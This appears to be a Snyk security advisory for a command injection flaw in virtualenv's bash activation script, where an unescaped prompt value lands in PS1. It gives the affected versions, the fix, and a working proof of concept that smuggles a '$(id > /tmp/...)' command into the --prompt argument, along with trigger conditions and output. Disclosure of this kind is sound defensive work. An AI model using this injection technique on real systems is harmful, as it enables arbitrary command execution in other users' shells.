Command Injection Affecting virtualenv package, versions [21.14.9,21.14.13)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.2% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-VIRTUALENV-21663372
  • published23 Oct 2026
  • disclosed23 Oct 2026
  • creditUnknown

Introduced: 23 Oct 2026

NewCVE-2026-115586  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade virtualenv to version 21.14.13 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection via insufficient escaping of the virtual environment prompt string in activate.sh when constructing PS1. When a virtualenv is created with a prompt value containing shell metacharacters (such as $() or backticks), the unescaped value is embedded directly into PS1. If bash subsequently evaluates PS1 with promptvars enabled - whether by the user toggling shopt -s promptvars, entering posix mode, or by a child bash process inheriting the exported PS1 - the embedded payload is executed as a shell command.

Note: This is only exploitable when the virtualenv prompt is set to an attacker-influenced value and the activating shell has promptvars disabled at activation time (or the poisoned PS1 is exported to a child shell).

PoC

Non-destructive payload: it runs id and writes the output to a file.

python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF' shopt -u promptvars . /tmp/venv-demo/bin/activate shopt -s promptvars EOF

the prompt needs a tty; script(1) provides one

printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn

Observed on 21.14.12:

$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)

The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.

Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:

After . bin/activate (activated with shopt -u promptvars) 21.14.8 21.14.9 21.14.12
shopt -s promptvars inert executes executes
set -o posix inert executes executes
export PS1, then start an interactive child bash (its promptvars defaults to on) inert executes executes
control: activation with default options inert inert inert
control: activation with set -o posix already on inert inert inert

The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.

shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.

Note: The PoC states it was observed on virtualenv 21.14.12, using bash with script(1) to provide a pty, with no specific OS stated beyond the uid output suggesting a Linux system.

CVSS Base Scores

version 4.0
version 3.1